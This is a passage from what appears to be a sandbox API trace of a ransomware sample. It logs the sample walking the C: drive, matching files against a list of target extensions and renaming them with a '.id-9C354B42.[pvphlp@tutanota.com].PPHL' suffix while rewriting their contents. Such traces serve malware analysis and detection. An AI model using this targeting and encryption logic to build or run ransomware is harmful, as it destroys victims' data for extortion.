Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0078.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.714] lstrlenW (lpString=".doc") returned 4 [0078.714] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".docx") returned 5 [0078.714] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0078.714] lstrlenW (lpString=".pdf") returned 4 [0078.714] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".xls") returned 4 [0078.714] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.714] lstrlenW (lpString=".xlsx") returned 5 [0078.714] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0078.715] lstrlenW (lpString=".ppt") returned 4 [0078.715] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString=".zip") returned 4 [0078.715] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString=".rar") returned 4 [0078.715] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString=".bz2") returned 4 [0078.715] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.715] lstrlenW (lpString=".7z") returned 3 [0078.715] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString=".dbf") returned 4 [0078.715] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString=".1cd") returned 4 [0078.715] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString=".jpg") returned 4 [0078.715] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.715] lstrlenW (lpString=".doc") returned 4 [0078.715] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString=".docx") returned 5 [0078.715] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0078.715] lstrlenW (lpString=".pdf") returned 4 [0078.715] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.715] lstrlenW (lpString=".xls") returned 4 [0078.716] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.716] lstrlenW (lpString=".xlsx") returned 5 [0078.716] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0078.716] lstrlenW (lpString=".ppt") returned 4 [0078.716] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.716] lstrlenW (lpString=".zip") returned 4 [0078.716] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.716] lstrlenW (lpString=".rar") returned 4 [0078.716] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.716] lstrlenW (lpString=".bz2") returned 4 [0078.716] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.716] lstrlenW (lpString=".7z") returned 3 [0078.716] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.716] lstrlenW (lpString=".dbf") returned 4 [0078.716] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.716] lstrlenW (lpString=".1cd") returned 4 [0078.716] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.716] lstrlenW (lpString=".jpg") returned 4 [0078.716] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.716] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0078.716] lstrlenW (lpString="Office32WW.msi") returned 14 [0078.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.828] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=1992192) returned 1 [0078.828] CloseHandle (hObject=0x218) returned 1 [0078.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0078.829] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.829] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0078.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.829] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0078.829] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.829] ReadFile (in: hFile=0x218, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.979] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.980] ReadFile (in: hFile=0x218, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.289] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.289] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.289] ReadFile (in: hFile=0x218, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.391] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.392] WriteFile (in: hFile=0x218, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0079.416] SetEndOfFile (hFile=0x218) returned 1 [0079.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fc0 [0079.830] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.831] WriteFile (in: hFile=0x218, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.833] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.833] WriteFile (in: hFile=0x218, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.835] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.835] WriteFile (in: hFile=0x218, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fc0 | out: hHeap=0x5d0000) returned 1 [0079.845] CloseHandle (hObject=0x218) returned 1 [0079.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.845] lstrlenW (lpString=".doc") returned 4 [0079.845] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.845] lstrlenW (lpString=".docx") returned 5 [0079.845] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.845] lstrlenW (lpString=".pdf") returned 4 [0079.845] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.846] lstrlenW (lpString=".xls") returned 4 [0079.846] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.846] lstrlenW (lpString=".xlsx") returned 5 [0079.846] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.846] lstrlenW (lpString=".ppt") returned 4 [0079.846] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.846] lstrlenW (lpString=".zip") returned 4 [0079.846] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.846] lstrlenW (lpString=".rar") returned 4 [0079.846] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.846] lstrlenW (lpString=".bz2") returned 4 [0079.846] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.846] lstrlenW (lpString=".7z") returned 3 [0079.846] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.846] lstrlenW (lpString=".dbf") returned 4 [0079.846] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.846] lstrlenW (lpString=".1cd") returned 4 [0079.846] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.846] lstrlenW (lpString=".jpg") returned 4 [0079.846] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.847] lstrlenW (lpString=".doc") returned 4 [0079.847] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.847] lstrlenW (lpString=".docx") returned 5 [0079.847] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.847] lstrlenW (lpString=".pdf") returned 4 [0079.847] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.847] lstrlenW (lpString=".xls") returned 4 [0079.847] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.847] lstrlenW (lpString=".xlsx") returned 5 [0079.847] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.847] lstrlenW (lpString=".ppt") returned 4 [0079.847] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.847] lstrlenW (lpString=".zip") returned 4 [0079.847] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.847] lstrlenW (lpString=".rar") returned 4 [0079.847] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.847] lstrlenW (lpString=".bz2") returned 4 [0079.847] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.847] lstrlenW (lpString=".7z") returned 3 [0079.847] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.847] lstrlenW (lpString=".dbf") returned 4 [0079.847] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.847] lstrlenW (lpString=".1cd") returned 4 [0079.847] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.847] lstrlenW (lpString=".jpg") returned 4 [0079.848] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.848] lstrcmpiW (lpString1=".xrm-ms", lpString2=".PPHL") returned 1 [0079.848] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0079.848] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 19 os_tid = 0x410 [0059.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38402c0 [0059.784] lstrlenW (lpString="C:") returned 2 [0059.784] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3abfd00 | out: lpFindFileData=0x3abfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x62b340 [0059.784] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.784] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0059.784] lstrlenW (lpString="$Recycle.Bin") returned 12 [0059.784] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38502c8 [0059.784] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.784] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3abfa84 | out: lpFindFileData=0x3abfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x62b380 [0059.785] FindNextFileW (in: hFindFile=0x62b380, lpFindFileData=0x3abfa84 | out: lpFindFileData=0x3abfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.785] FindNextFileW (in: hFindFile=0x62b380, lpFindFileData=0x3abfa84 | out: lpFindFileData=0x3abfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xeabe6c40, ftLastAccessTime.dwHighDateTime=0x1d66148, ftLastWriteTime.dwLowDateTime=0xeabe6c40, ftLastWriteTime.dwHighDateTime=0x1d66148, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0059.785] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.785] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0059.785] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0059.785] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0059.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f00048 [0059.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.786] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3abf808 | out: lpFindFileData=0x3abf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xeabe6c40, ftLastAccessTime.dwHighDateTime=0x1d66148, ftLastWriteTime.dwLowDateTime=0xeac32f00, ftLastWriteTime.dwHighDateTime=0x1d66148, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x62b3c0 [0059.786] FindNextFileW (in: hFindFile=0x62b3c0, lpFindFileData=0x3abf808 | out: lpFindFileData=0x3abf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xeabe6c40, ftLastAccessTime.dwHighDateTime=0x1d66148, ftLastWriteTime.dwLowDateTime=0xeac32f00, ftLastWriteTime.dwHighDateTime=0x1d66148, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.786] FindNextFileW (in: hFindFile=0x62b3c0, lpFindFileData=0x3abf808 | out: lpFindFileData=0x3abf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xeabe6c40, ftCreationTime.dwHighDateTime=0x1d66148, ftLastAccessTime.dwLowDateTime=0xeabe6c40, ftLastAccessTime.dwHighDateTime=0x1d66148, ftLastWriteTime.dwLowDateTime=0xeac32f00, ftLastWriteTime.dwHighDateTime=0x1d66148, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL", cAlternateFileName="DESKTO~1.PPH")) returned 1 [0059.786] lstrlenW (lpString="desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL") returned 50 [0059.786] lstrlenW (lpString=".1cd") returned 4 [0059.786] lstrcmpiW (lpString1=".1cd", lpString2="PPHL") returned -1 [0059.786] lstrlenW (lpString=".3ds") returned 4 [0059.786] lstrcmpiW (lpString1=".3ds", lpString2="PPHL") returned -1 [0059.786] lstrlenW (lpString=".3fr") returned 4 [0059.786] lstrcmpiW (lpString1=".3fr", lpString2="PPHL") returned -1 [0059.786] lstrlenW (lpString=".3g2") returned 4 [0059.786] lstrcmpiW (lpString1=".3g2", lpString2="PPHL") returned -1 [0059.786] lstrlenW (lpString=".3gp") returned 4 [0059.786] lstrcmpiW (lpString1=".3gp", lpString2="PPHL") returned -1 [0059.786] lstrlenW (lpString=".7z") returned 3 [0059.786] lstrcmpiW (lpString1=".7z", lpString2="PHL") returned -1 [0059.786] lstrlenW (lpString=".accda") returned 6 [0059.786] lstrcmpiW (lpString1=".accda", lpString2="].PPHL") returned -1 [0059.786] lstrlenW (lpString=".accdb") returned 6 [0059.786] lstrcmpiW (lpString1=".accdb", lpString2="].PPHL") returned -1 [0059.786] lstrlenW (lpString=".accdc") returned 6 [0059.786] lstrcmpiW (lpString1=".accdc", lpString2="].PPHL") returned -1 [0059.786] lstrlenW (lpString=".accde") returned 6 [0059.787] lstrcmpiW (lpString1=".accde", lpString2="].PPHL") returned -1 [0059.787] lstrlenW (lpString=".accdt") returned 6 [0059.787] lstrcmpiW (lpString1=".accdt", lpString2="].PPHL") returned -1 [0059.787] lstrlenW (lpString=".accdw") returned 6 [0059.787] lstrcmpiW (lpString1=".accdw", lpString2="].PPHL") returned -1 [0059.787] lstrlenW (lpString=".adb") returned 4 [0059.787] lstrcmpiW (lpString1=".adb", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".adp") returned 4 [0059.787] lstrcmpiW (lpString1=".adp", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai") returned 3 [0059.787] lstrcmpiW (lpString1=".ai", lpString2="PHL") returned -1 [0059.787] lstrlenW (lpString=".ai3") returned 4 [0059.787] lstrcmpiW (lpString1=".ai3", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai4") returned 4 [0059.787] lstrcmpiW (lpString1=".ai4", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai5") returned 4 [0059.787] lstrcmpiW (lpString1=".ai5", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai6") returned 4 [0059.787] lstrcmpiW (lpString1=".ai6", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai7") returned 4 [0059.787] lstrcmpiW (lpString1=".ai7", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ai8") returned 4 [0059.787] lstrcmpiW (lpString1=".ai8", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".anim") returned 5 [0059.787] lstrcmpiW (lpString1=".anim", lpString2=".PPHL") returned -1 [0059.787] lstrlenW (lpString=".arw") returned 4 [0059.787] lstrcmpiW (lpString1=".arw", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".as") returned 3 [0059.787] lstrcmpiW (lpString1=".as", lpString2="PHL") returned -1 [0059.787] lstrlenW (lpString=".asa") returned 4 [0059.787] lstrcmpiW (lpString1=".asa", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".asc") returned 4 [0059.787] lstrcmpiW (lpString1=".asc", lpString2="PPHL") returned -1 [0059.787] lstrlenW (lpString=".ascx") returned 5 [0059.787] lstrcmpiW (lpString1=".ascx", lpString2=".PPHL") returned -1 [0059.787] lstrlenW (lpString=".asm") returned 4 [0059.787] lstrcmpiW (lpString1=".asm", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".asmx") returned 5 [0059.788] lstrcmpiW (lpString1=".asmx", lpString2=".PPHL") returned -1 [0059.788] lstrlenW (lpString=".asp") returned 4 [0059.788] lstrcmpiW (lpString1=".asp", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".aspx") returned 5 [0059.788] lstrcmpiW (lpString1=".aspx", lpString2=".PPHL") returned -1 [0059.788] lstrlenW (lpString=".asr") returned 4 [0059.788] lstrcmpiW (lpString1=".asr", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".asx") returned 4 [0059.788] lstrcmpiW (lpString1=".asx", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".avi") returned 4 [0059.788] lstrcmpiW (lpString1=".avi", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".avs") returned 4 [0059.788] lstrcmpiW (lpString1=".avs", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".backup") returned 7 [0059.788] lstrcmpiW (lpString1=".backup", lpString2="m].PPHL") returned -1 [0059.788] lstrlenW (lpString=".bak") returned 4 [0059.788] lstrcmpiW (lpString1=".bak", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".bay") returned 4 [0059.788] lstrcmpiW (lpString1=".bay", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".bd") returned 3 [0059.788] lstrcmpiW (lpString1=".bd", lpString2="PHL") returned -1 [0059.788] lstrlenW (lpString=".bin") returned 4 [0059.788] lstrcmpiW (lpString1=".bin", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".bmp") returned 4 [0059.788] lstrcmpiW (lpString1=".bmp", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".bz2") returned 4 [0059.788] lstrcmpiW (lpString1=".bz2", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".c") returned 2 [0059.788] lstrcmpiW (lpString1=".c", lpString2="HL") returned -1 